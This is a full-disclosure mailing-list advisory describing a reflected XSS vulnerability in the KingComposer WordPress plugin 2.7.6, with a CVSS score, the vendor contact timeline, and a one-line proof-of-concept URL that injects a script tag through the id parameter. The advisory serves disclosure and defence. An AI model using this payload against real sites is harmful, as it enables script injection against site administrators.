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Date: Tue, 5 Feb 2019 16:27:46 +0100
From: Tim Coen <tc.coen@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] KingComposer 2.7.6 - Reflected XSS (WordPress Plugin)

  * Vulnerability: XSS
  * Affected Software:
[KingComposer](https://wordpress.org/plugins/kingcomposer/)
  * Affected Version: 2.7.6
  * Patched Version: none
  * CVE: not requested
  * Risk: Medium
  * Vendor Contacted: 10/25/2018
  * Vendor Fix: none
  * Public Disclosure: 02/05/2019
  * Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The KingComposer WordPress plugin is vulnerable to reflected XSS as it
echoes the id parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=kc-mapper&id=<%2Fscript><script>alert(1)<%2Fscript>

##### Timeline

- 10/25/2018 Asked for email address via contact form
- 10/26/2018 Vendor responds
- 10/26/2018 sent advisory
- 11/01/2018 Vendor responds that they have strict testing in place,
asks if it is certain that the issue exists
- 11/01/2018 Confirmed that the issue indeed exists
- 11/01/2018 unclear response from vendor
- 11/01/2018 asked for clarification & offered to explain issue further
(no response)
- 02/05/2019 Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-kingcomposer-xss/

-- 
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89

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